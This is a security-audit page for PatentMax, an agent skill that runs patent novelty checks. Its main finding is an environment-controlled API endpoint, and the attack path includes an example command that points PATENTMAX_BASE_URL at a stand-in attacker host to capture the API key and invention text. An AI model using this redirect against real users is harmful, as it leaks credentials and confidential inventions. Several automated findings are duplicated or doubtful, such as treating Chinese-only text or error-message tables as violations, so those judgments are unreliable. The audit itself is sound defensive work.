Back to skill

Security audit

专利查新 · PatentMax

Security checks for vulnerabilities and agentic risk

Overview

This skill is coherent for patent novelty checks, but it has a real Review-level risk because an undocumented environment variable can redirect sensitive invention text and the API key to another server.

Install only if you are comfortable sending patent or invention details to PatentMax for processing. Before use, run it from a trusted shell, keep `PATENTMAX_BASE_URL` unset, use a limited or test API key when possible, and avoid submitting undisclosed core formulas or parameters unless that confidentiality risk is acceptable.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/patentmax_novelty.py:40
Finding
Environment-Controlled API Endpoint Can Exfiltrate Credentials and Confidential Patent Data## Vulnerability Details **File Location**: `scripts/patentmax_novelty.py`, lines 40 and 85–89 **Vulnerability Type**: Untrusted endpoint configuration and credential disclosure **Risk Level**: High ### Vulnerable Code ```python BASE_URL = os.environ.get("PATENTMAX_BASE_URL", "https://api.ip930.com").rstrip("/") ``` ```python url = path if path.startswith("http") else f"{BASE_URL}{path}" data = json.dumps(body, ensure_ascii=False).encode("utf-8") if body is not None else None req = urllib.request.Request(url, data=data, method=method) req.add_header("Authorization", f"Bearer {API_KEY}") req.add_header("Accept", "application/json") ``` ### Technical Analysis The script permits `PATENTMAX_BASE_URL` to redefine the destination of every API request. It neither requires HTTPS nor verifies that the configured hostname belongs to the trusted PatentMax service. The `request()` function then unconditionally adds the bearer API key to requests sent to the resulting URL. During report creation, the request body also contains the user's technical solution, which may describe a confidential or unpublished invention. Consequently, any party capable of influencing the process environment can redirect requests to an attacker-controlled HTTPS or plaintext HTTP endpoint. This is especially relevant when the Skill runs through wrappers, automation systems, shared shells, CI environments, or compromised launch configurations. ### Attack Path 1. An attacker gains the ability to influence the environment used to launch the Skill. 2. The attacker sets `PATENTMAX_BASE_URL` to an endpoint under their control, for example: ```bash export PATENTMAX_BASE_URL="https://attacker.example" ``` 3. A user invokes `create`, `status`, `cancel`, or `download`. 4. The script constructs the request URL from the attacker-controlled base URL. 5. It sends the `Authorization: Bearer ...` header to the attacker's server. 6. For `create`, the JSON request body also exposes the submitted p ...[truncated 925 chars]
Remediation
## Remediation Suggestions 1. Remove the `PATENTMAX_BASE_URL` override from production builds and use a fixed trusted endpoint: ```python BASE_URL = "https://api.ip930.com" ``` 2. If endpoint customization is required for testing, place it behind an explicit development or test mode that is disabled by default. 3. Parse and validate the configured endpoint before making a request: - Require the `https` scheme. - Require an exact allowlisted hostname. - Reject embedded credentials, unexpected ports, fragments, and untrusted subdomains. 4. Verify the final request origin before attaching the `Authorization` header. Credentials must never be sent to an origin that has not passed validation. 5. Do not automatically forward authorization headers across redirects. Either disable redirects for authenticated requests or validate every redirect destination against the same strict origin allowlist. 6. Separate test and production credentials and ensure sandbox credentials cannot access production data or incur production charges. 7. Document that launch environments and wrapper configurations are security-sensitive, and avoid inheriting uncontrolled environment variables when invoking the Skill. 8. Add automated tests confirming that HTTP endpoints, unapproved hosts, malformed URLs, and redirects to unapproved origins are rejected before any credential or technical solution is transmitted.
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (18)

Tainted flow: 'req' from os.environ.get (line 77, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
req.add_header(key, value)

    try:
        with urllib.request.urlopen(req, timeout=TIMEOUT) as response:
            payload = response.read()
            return payload if raw else json.loads(payload.decode("utf-8"))
    except urllib.error.HTTPError as exc:
Confidence
92% confidence
Finding
The request destination is derived from PATENTMAX_BASE_URL, which comes from the environment and is not restricted to the expected vendor host. An attacker who can influence the environment can redirect requests and the Bearer API key plus sensitive patent content to an arbitrary server, causing credential and confidential data exfiltration.

Lp1

High
Category
MCP Least Privilege
Confidence
86% confidence
Finding
The script performs outbound network requests, but that capability is not covered by declared permissions. Undeclared egress increases operational risk because the skill can transmit user-provided technical solutions and credentials to external services without clear consent or policy enforcement.

Lp1

High
Category
MCP Least Privilege
Confidence
86% confidence
Finding
The script performs outbound network requests, but that capability is not covered by declared permissions. Undeclared egress increases operational risk because the skill can transmit user-provided technical solutions and credentials to external services without clear consent or policy enforcement.

Natural-Language Policy Violations

Medium
Confidence
90% confidence
Finding
The entire skill description and user-facing instructions are written exclusively in Chinese, with no indication that other languages are supported or that Chinese is an intentional, documented requirement. Under the policy rule, forcing a specific language without user opt-in is a natural-language locale violation unless clearly justified as region-specific.

Natural-Language Policy Violations

Medium
Confidence
90% confidence
Finding
The manifest description is primarily written in Chinese and states when the skill should be used for Chinese-language user intents, but it does not indicate that users may interact in other languages or choose their preferred locale. Under the policy rule, locale or language constraints should be offered as a choice or explicitly justified.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The entire FAQ is written only in Chinese and presents Chinese output/usage expectations such as 'stage 字段有中文阶段描述' without any indication that language choice is optional or that the tool is intentionally restricted to a Chinese-speaking/regional context. The policy for SQP-3 requires flagging language or locale constraints when they are imposed without user opt-in or clear justification.

Missing User Warnings

Medium
Confidence
91% confidence
Finding
The FAQ instructs users to paste live API keys directly into shell commands and environment-variable exports without warning about shell history, screen sharing, process inspection, or safer secret-handling practices. While this is common operational guidance, it increases the chance of credential disclosure and misuse, especially because it explicitly demonstrates use of a production-style `pm_live_` key.

External Transmission

Medium
Category
Data Exfiltration
Content
实在没有就直接发 HTTP 请求:

```bash
curl -s -X POST "https://api.ip930.com/api/v1/reports" \
  -H "Authorization: Bearer $PATENTMAX_API_KEY" \
  -H "Content-Type: application/json" \
  -H "Idempotency-Key: 自定义唯一串" \
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Natural-Language Policy Violations

Medium
Confidence
91% confidence
Finding
The entire guidance is written as an instruction set in Chinese and does not indicate that users may choose another language or locale. Under the policy rule, natural-language content that imposes a specific language without user opt-in can be a locale policy violation unless the regional constraint is explicitly documented and justified.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The entire workflow is written as mandatory operational guidance in Chinese, with no indication that users may choose another language or that the skill is restricted to a Chinese-speaking or China-specific deployment context. Under the policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale constraint is clearly documented and justified.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
文件头文档明确写明“每个子命令往 stdout 吐一份 JSON,出错时 JSON 里带 error 和中文提示”,这构成了对输出语言的硬性要求。根据规则,强制特定语言而没有用户选择或清晰的地域/合规理由,属于自然语言层面的语言/locale 策略违规。

Description-Behavior Mismatch

Medium
Confidence
89% confidence
Finding
The manifest describes using this skill for prior-art novelty checks, patentability, pre-filing screening, and deliverable novelty reports. However, the code exposes a `competitor_scan` purpose, which shifts the skill toward competitor intelligence rather than the stated novelty/patentability scope.

External Transmission

Medium
Category
Data Exfiltration
Content
def request(path, method="GET", body=None, headers=None, raw=False):
    if not API_KEY:
        die("未设置 API 密钥。请先 export PATENTMAX_API_KEY=pm_live_xxx,"
            "密钥在 https://api.ip930.com/features/api-platform 创建。")

    url = path if path.startswith("http") else f"{BASE_URL}{path}"
    data = json.dumps(body, ensure_ascii=False).encode("utf-8") if body is not None else None
Confidence
89% confidence
Finding
This skill transmits highly sensitive user content—technical solutions that may contain trade secrets or pre-filing invention details—to an external API. In the context of a patent novelty tool, that data is unusually sensitive, so external transmission materially raises confidentiality and data-governance risk, especially if users are not clearly warned or if endpoint control is weak.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。technical_solution 必填;purpose / depth / legal_status 只接受枚举值。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。technical_solution 必填;purpose / depth / legal_status 只接受枚举值。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。technical_solution 必填;purpose / depth / legal_status 只接受枚举值。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。technical_solution 必填;purpose / depth / legal_status 只接受枚举值。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Description-Behavior Mismatch

Low
Confidence
78% confidence
Finding
The manifest focuses on determining whether a technical idea is novel or patentable and generating a novelty report. The implementation also includes a `cancel` command that performs a state-changing POST to terminate an in-progress remote operation, which is beyond the user-facing analytic purpose described.

Static analysis

No suspicious patterns detected.